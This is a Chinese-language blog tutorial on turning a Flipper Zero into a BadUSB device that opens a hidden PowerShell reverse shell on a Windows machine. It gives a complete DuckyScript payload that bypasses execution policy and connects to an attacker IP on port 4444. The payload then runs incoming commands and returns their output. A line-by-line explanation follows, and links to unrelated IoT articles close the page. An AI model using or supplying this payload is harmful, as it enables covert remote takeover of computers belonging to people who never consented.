Flipper Zero BadUSB反弹shell

Flipper Zero BadUSB反弹shell

前置知识点:

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。

步骤

创建rev_shell_win.txt文件,并将其拖到badusb文件夹中.

相关代码:

bash 复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell

REM Wait for the system to settle (adjust delay if necessary)
DELAY 1000

REM Open Windows Run dialog (GUI + R)
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 750

REM Start reverse shell using PowerShell (replace with your own IP 192.168.x.x and port 4444)
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
DELAY 500

REM Additional delays to give time for the shell to establish the connection
DELAY 1000

REM Finish script
STRING Reverse shell should be active now.
ENTER

代码相关解释

bash 复制代码
1. REM 命令解释
REM 表示 "remark" 或注释,是脚本中的注释标记。注释内容不会被执行,通常用于对代码的解释或说明。以下是脚本中的注释部分:

batch
复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell
这行注释表明这是一个用于演示如何通过 PowerShell 创建反向 shell 的 BadKB 脚本。

batch
复制代码
REM Wait for the system to settle (adjust delay if necessary)
该行注释说明脚本会等待系统稳定下来,尤其是在目标计算机插入 USB 设备后,系统可能需要时间识别设备。

2. DELAY 命令
DELAY 是一个控制脚本执行延时的命令。它使得脚本等待指定的时间,以确保目标系统有足够的时间执行每一步操作。单位为毫秒。

batch
复制代码
DELAY 1000
该命令会让脚本延迟 1000 毫秒(即 1 秒)。这个延迟是为了确保系统和输入环境能够稳定。

3. 打开 Windows Run 对话框
batch
复制代码
GUI r
DELAY 500
GUI r 是模拟按下 Windows 键 + R,这是打开 Run 对话框的快捷键。接着通过 DELAY 500 给系统半秒钟的时间来响应。

batch
复制代码
STRING cmd
DELAY 500
ENTER
接下来,STRING cmd 会在 Run 对话框中输入 cmd,即启动 命令提示符。然后,ENTER 命令会模拟按下 回车键,从而打开 cmd。

4. 执行 PowerShell 脚本以启动反向连接
batch
复制代码
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
这行脚本启动了一个 PowerShell 脚本,用于创建反向连接。

命令解析:

powershell -ExecutionPolicy Bypass -nop -w hidden -c:

-ExecutionPolicy Bypass:绕过 PowerShell 的执行策略,允许执行未签名的脚本。
-nop:表示不加载配置文件(NoProfile),从而加快执行速度。
-w hidden:使 PowerShell 窗口在后台隐藏,不显示在用户桌面上。
-c:执行后续的 PowerShell 代码。
$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444):

创建一个 TCP 客户端对象,并连接到攻击者指定的 IP 地址(192.168.x.x)和端口(4444)。
$stream = $client.GetStream():

获取与远程目标的网络流,这个流用于发送和接收数据。
[byte[]]$bytes = 0..65535|%{0}:

初始化一个字节数组 $bytes,用于接收从网络流中传输的数据。
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0):

循环从网络流中读取数据,直到没有数据可读取为止。
$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i):

将从网络流读取到的字节数据转换成 ASCII 字符串,保存在 $data 变量中。
Write-Host 'Received command: ' $data:

输出调试信息,打印收到的命令。
$sendback = (iex $data 2>&1 | Out-String):

执行接收到的命令,并将任何错误信息和标准输出一起捕获。iex 是 Invoke-Expression,它执行字符串形式的 PowerShell 命令。
Write-Host 'Command output: ' $sendback:

输出执行命令的结果。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ':

在命令输出后添加 PowerShell 提示符,以便攻击者看到一个类似于本地 PowerShell 环境的提示符。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2):

将命令的输出(包括提示符)转换为字节数据,以便发送回攻击者的机器。
$stream.Write($sendbyte,0,$sendbyte.Length):

将转换后的字节数据通过网络流发送回攻击者机器。
$stream.Flush():

刷新输出流,确保数据立即被发送。
5. 延迟等待反向连接建立
batch
复制代码
DELAY 500
再次延迟 500 毫秒,确保反向 shell 已成功建立。

6. 脚本结束语
batch
复制代码
STRING Reverse shell should be active now.
ENTER
在脚本的最后,向目标计算机输入一条消息,提示攻击者反向 shell 应该已经激活并可用于远程命令执行。

启动 BadUSB 反向 Shell
查看结果

参考文章:https://hackernoon.com/lang/zh/如何使用鳍状肢零作为-badusb-在-macOS-上获得反向-shell

相关推荐
cat_milk1 小时前
【潘多拉 STM32L475 IOT开发指南】【基础】1.LED
stm32·单片机·物联网
AAAAA92401 小时前
泰国物联网模组市场发展态势与前景分析
物联网
兆龙电子单片机设计2 小时前
【STM32项目开源】STM32单片机智能心率手环系统
stm32·单片机·物联网·开源·毕业设计
金叶科技智慧农业2 小时前
2025年虫害预测如何更精准?物联网虫情测报仪显身手,金叶智能助力绿色防控
物联网
九河云2 小时前
云计算+大数据+IoT:构建企业数字化底座的三大支柱
大数据·物联网·云计算
TDengine (老段)2 小时前
直播回放 | IDMP 无问智推技术详解
数据库·人工智能·物联网·ai·时序数据库·tdengine·涛思数据
嗝o゚3 小时前
跨平台硬件直连:基于Flutter+鸿蒙的轻量化IoT解决方案
物联网·flutter·harmonyos
wh_xia_jun12 小时前
页面切换后“蓝牙连接/数据丢失”的根因与遇到的其他问题的解决办法
物联网
刘洪峰IoT20 小时前
【睿擎派】云端一体,多种通信协议构建机械臂运动控制系统
物联网·rt-thread·睿擎派·物联网智能网关
专业开发者1 天前
联网设备市场的扩张
物联网·电脑